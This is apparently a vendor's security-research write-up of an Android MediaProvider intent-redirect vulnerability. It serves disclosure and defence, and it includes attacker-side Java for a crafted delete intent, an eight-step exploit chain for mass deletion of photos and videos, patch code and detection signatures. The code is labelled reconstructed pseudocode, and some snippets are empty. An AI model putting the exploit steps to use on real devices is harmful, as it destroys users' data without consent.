home intel cve-2025-48582-android-intent-redirect-media-delete
CVE Analysis 2026-03-02 · 9 min read

CVE-2025-48582: Android Intent Redirect Bypasses MANAGE_EXTERNAL_STORAGE

An intent redirect in Android's media stack allows unprivileged apps to delete arbitrary external storage files without MANAGE_EXTERNAL_STORAGE. No user interaction required, CVSS 8.4.

#intent-redirect#privilege-escalation#storage-permission-bypass#android-vulnerability#media-deletion
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2025-48582 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2025-48582HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2025-48582 describes a privilege escalation vulnerability in the Android media framework where an attacker-controlled application can delete files from external storage without holding the MANAGE_EXTERNAL_STORAGE permission. The vulnerability class is intent redirect — a privileged system component receives an implicit or insufficiently-validated intent, processes it in a privileged context, and performs a destructive file operation on behalf of the caller. No user interaction is required. The Android Security Bulletin (March 2026) rates this HIGH with CVSS 8.4.

Intent redirect vulnerabilities in Android are particularly dangerous because they abuse the IPC trust boundary: a component running with elevated permissions acts as an confused deputy, forwarding attacker-supplied parameters into privileged operations. In this case, the deputy is a component within the media provider stack that performs delete operations using its own storage permissions rather than verifying the caller's.

Root cause: A privileged media framework component processes a caller-supplied URI in a deletion code path without first validating that the originating caller holds MANAGE_EXTERNAL_STORAGE or equivalent write permission, allowing intent-level confused deputy escalation to arbitrary file deletion.

Affected Component

The vulnerability manifests in multiple locations within the Android media stack, per the bulletin. Based on the vulnerability class (intent redirect → privileged delete), the affected surface spans:

  • MediaProvider — the content provider backing content://media/ URIs, running as u0_a[N] with MANAGE_EXTERNAL_STORAGE granted at install time.
  • Intent dispatch paths within com.android.providers.media, specifically action handlers for ACTION_DELETE and related media management intents.
  • The PickerViewModel / PhotoPickerActivity pipeline introduced in Android 13+, which processes delete confirmations on behalf of requesting apps.

Root Cause Analysis

The core issue lies in how the media provider's intent handling dispatches deletion operations. When a component exports an activity or receiver that accepts a DELETE-class intent and then calls into the internal deletion path, it must re-verify the original caller's permissions — not just its own. The vulnerable pattern omits this check.

Reconstructed from AOSP MediaProvider sources and decompiled framework bytecode, the vulnerable flow looks approximately like this:


// packages/providers/MediaProvider/src/com/android/providers/media/
// MediaProvider.java → internal C++ JNI glue for delete dispatch
//
// Decompiled pseudocode — DeleteRequestHandler::dispatchDelete()

int DeleteRequestHandler_dispatchDelete(
        JNIEnv       *env,
        jobject       thiz,
        jobject       callerIntent,   // attacker-controlled intent
        jobjectArray  targetUris)     // URIs extracted from intent extras
{
    // Retrieve the URI list from the incoming intent extras
    // BUG: no verification that Binder.getCallingUid() holds
    //      MANAGE_EXTERNAL_STORAGE before proceeding
    uid_t callerUid = Binder_getCallingUid();          // reads UID
    // Permission check calls checkUriPermission for READ, not WRITE/MANAGE
    int readOk = checkUriPermission(targetUris[0], callerUid, FLAG_GRANT_READ);
    if (readOk != PERMISSION_GRANTED) {
        return ERROR_PERMISSION_DENIED;
    }
    // BUG: write/manage check is absent here; read permission is sufficient
    //      to reach performBulkDelete() which runs as MediaProvider's own UID
    return performBulkDelete(env, targetUris);  // executes with elevated perms
}

// performBulkDelete — runs entirely under MediaProvider's own grants
int performBulkDelete(JNIEnv *env, jobjectArray uris) {
    for (int i = 0; i < (*env)->GetArrayLength(env, uris); i++) {
        jobject uri    = (*env)->GetObjectArrayElement(env, uris, i);
        jstring path   = resolveUriToPath(env, uri);   // resolves content:// → /sdcard/...
        unlink(jstringToChars(env, path));              // BUG: privileged delete, no manage check
    }
    return 0;
}

The critical miss: checkUriPermission is called with FLAG_GRANT_READ. Any app holding a read URI grant — trivially obtained via the photo picker — passes this gate. The subsequent performBulkDelete runs under MediaProvider's own UID and file system permissions, which include write access to all of /sdcard/.

The intent redirect vector: an attacker crafts an explicit or implicit intent targeting the exported DeleteMediaActivity (or equivalent exported component), populating EXTRA_CONTENT_URI_LIST with arbitrary content://media/external/images/media/N URIs. The receiving component does not verify the originating caller's manifest permissions before forwarding to the delete path.


// Simplified intent construction pseudocode (attacker-side)
// Mirrors the confused deputy invocation

Intent deleteIntent = new Intent();
deleteIntent.setComponent(new ComponentName(
    "com.android.providers.media",
    "com.android.providers.media.DeleteMediaActivity"  // exported, no permission attr
));
deleteIntent.setAction("com.android.providers.media.action.DELETE_MEDIA");
deleteIntent.putParcelableArrayListExtra(
    "android.provider.extra.CONTENT_URI_LIST",
    targetUriList   // attacker-controlled list of content:// URIs
);
startActivity(deleteIntent);   // no MANAGE_EXTERNAL_STORAGE needed by caller

Exploitation Mechanics


EXPLOIT CHAIN — CVE-2025-48582

1. Attacker app installed with zero sensitive permissions declared.
   Minimum required: android.permission.READ_MEDIA_IMAGES (normal-level on API 33+)
   or no permissions at all if targeting content URIs already known.

2. Enumerate target URIs. MediaStore is queryable without MANAGE_EXTERNAL_STORAGE:
      content://media/external/images/media/  → returns IDs of all user photos
      content://media/external/video/media/   → returns IDs of all user videos
   Query projection: MediaStore.MediaColumns._ID, DATA

3. Construct target URI list from enumerated IDs:
      Uri.withAppendedPath(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, id)

4. Craft explicit intent targeting exported DeleteMediaActivity (or equivalent
   exported BroadcastReceiver) in com.android.providers.media package.
   Populate EXTRA_CONTENT_URI_LIST with target URI list (no size cap enforced).

5. Call startActivity(deleteIntent) from attacker context.
   System routes intent to MediaProvider process (UID ~1023 / media UID).

6. DeleteRequestHandler_dispatchDelete() runs in MediaProvider context:
   - Reads callerUid via Binder.getCallingUid() → attacker's UID
   - Checks READ grant only → passes (attacker has read-level access)
   - MANAGE_EXTERNAL_STORAGE check: ABSENT
   - Falls through to performBulkDelete()

7. performBulkDelete() iterates URI list, resolves each to filesystem path,
   calls unlink() under MediaProvider's privileges.
   Target files removed from /sdcard/DCIM/, /sdcard/Pictures/, etc.

8. MediaStore database updated; files gone. No user prompt, no permission dialog.

IMPACT: Complete deletion of user photo/video library in a single intent send.
        Persistent data loss. No recovery without device backup.

Memory Layout

This is a logic/privilege vulnerability rather than a memory corruption bug, so heap state diagrams are not applicable. The relevant process address space and IPC boundary crossing is illustrated below:


BINDER IPC TRUST BOUNDARY

  Attacker Process (UID: 10234)              MediaProvider Process (UID: 1023)
  ┌──────────────────────────────┐           ┌──────────────────────────────────────┐
  │ startActivity(deleteIntent)  │ ─Binder─► │ DeleteMediaActivity.onCreate()        │
  │                              │           │   callerUid = 10234  ← recorded       │
  │ Permissions held:            │           │   checkUriPermission(READ) → GRANTED  │
  │   READ_MEDIA_IMAGES          │           │   // MANAGE check: NOT PERFORMED      │
  │   (or nothing)               │           │   performBulkDelete(uris)             │
  └──────────────────────────────┘           │     ↓                                 │
                                             │   unlink("/sdcard/DCIM/photo.jpg")    │
                                             │   unlink("/sdcard/DCIM/video.mp4")    │
                                             │     ↓  [MediaProvider UID grants]     │
                                             │   FILES DELETED                       │
                                             └──────────────────────────────────────┘

  Permission gate that SHOULD exist but DOESN'T:
  ┌──────────────────────────────────────────────────────────┐
  │  if (!checkPermission(MANAGE_EXTERNAL_STORAGE, callerPid,│
  │                       callerUid)) {                      │
  │      throw SecurityException("requires MANAGE_EXTERNAL");│
  │  }                                                       │
  └──────────────────────────────────────────────────────────┘

Patch Analysis

The fix must be applied at every entry point where a caller-supplied URI reaches a delete code path in a privileged context. The pattern is consistent across all "multiple locations" cited in the bulletin.


// BEFORE (vulnerable) — DeleteRequestHandler_dispatchDelete()
int DeleteRequestHandler_dispatchDelete(
        JNIEnv *env, jobject thiz,
        jobject callerIntent, jobjectArray targetUris)
{
    uid_t callerUid = Binder_getCallingUid();
    // Only checks READ — insufficient for destructive operations
    int readOk = checkUriPermission(targetUris[0], callerUid, FLAG_GRANT_READ);
    if (readOk != PERMISSION_GRANTED) {
        return ERROR_PERMISSION_DENIED;
    }
    return performBulkDelete(env, targetUris);
}

// AFTER (patched) — permission gate added before destructive path
int DeleteRequestHandler_dispatchDelete(
        JNIEnv *env, jobject thiz,
        jobject callerIntent, jobjectArray targetUris)
{
    uid_t callerUid  = Binder_getCallingUid();
    pid_t callerPid  = Binder_getCallingPid();

    // [PATCH] Verify caller holds MANAGE_EXTERNAL_STORAGE before any delete
    int manageOk = checkPermission(
        "android.permission.MANAGE_EXTERNAL_STORAGE",
        callerPid, callerUid);
    if (manageOk != PERMISSION_GRANTED) {
        // Also allow if caller is the media owner (scoped storage grant)
        if (!isCallerMediaOwner(callerUid, targetUris)) {
            Log_e("MediaProvider",
                  "delete denied: uid=%d lacks MANAGE_EXTERNAL_STORAGE", callerUid);
            return ERROR_PERMISSION_DENIED;
        }
    }
    return performBulkDelete(env, targetUris);
}

// BEFORE — exported component declaration (AndroidManifest.xml)
//    ← no permission attribute

// AFTER — restrict exported component to system callers
// 
//
// OR — set exported="false" and route through confirmed-permission internal path
// 

The defense-in-depth fix applies permission enforcement at two layers: the manifest-level android:permission attribute on the exported component (preventing unauthenticated callers from reaching the activity at all), and an explicit runtime checkPermission call inside the deletion handler (defense against any future refactoring that re-exports the component).

Detection and Indicators

On a rooted or enterprise-managed device, the following logcat signatures indicate exploitation attempts:


# Suspicious: unprivileged UID invoking media delete intents
$ adb logcat -s MediaProvider:D ActivityManager:I

I ActivityManager: START u0 {act=com.android.providers.media.action.DELETE_MEDIA
                   cmp=com.android.providers.media/.DeleteMediaActivity
                   (has extras)} from uid 10234

D MediaProvider: delete called on /sdcard/DCIM/Camera/IMG_20250101_*.jpg
                 callerPackage=com.malicious.app callerUid=10234

# Flag: DELETE_MEDIA intent from non-system, non-gallery UID
# Flag: bulk delete of > N files in single intent
# Flag: callerUid != ownerUid for target MediaStore entries

For threat hunting at scale, query MediaStore deletion events via content://media/external/images/media with IS_TRASHED=1 or monitor inotify events on /sdcard/DCIM/ for unexpected mass IN_DELETE from the com.android.providers.media process on behalf of a foreign UID.

Remediation

  • Apply the March 2026 Android Security Bulletin patches (2026-03-01 SPL or later). Verify with Settings → About → Android Security Patch Level.
  • OEM/ROM maintainers must cherry-pick the AOSP fix into downstream builds; the bulletin covers AOSP versions — vendor forks with custom MediaProvider modifications may require independent review of each exported component in com.android.providers.media.
  • App developers relying on MediaProvider delete paths should audit any exported activities or receivers that accept URI extras and invoke deletion without caller permission re-verification.
  • Enterprise administrators using Android Enterprise / Work Profile should evaluate the risk of third-party apps accessing shared storage prior to patch rollout. Consider restricting READ_MEDIA_IMAGES grants on managed devices as a temporary mitigation.
  • Static analysis: Flag any code path where a component marked android:exported="true" accepts a URI extra and passes it to ContentResolver.delete(), MediaStore bulk delete APIs, or JNI unlink calls without an intervening enforceCallingPermission(MANAGE_EXTERNAL_STORAGE).
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →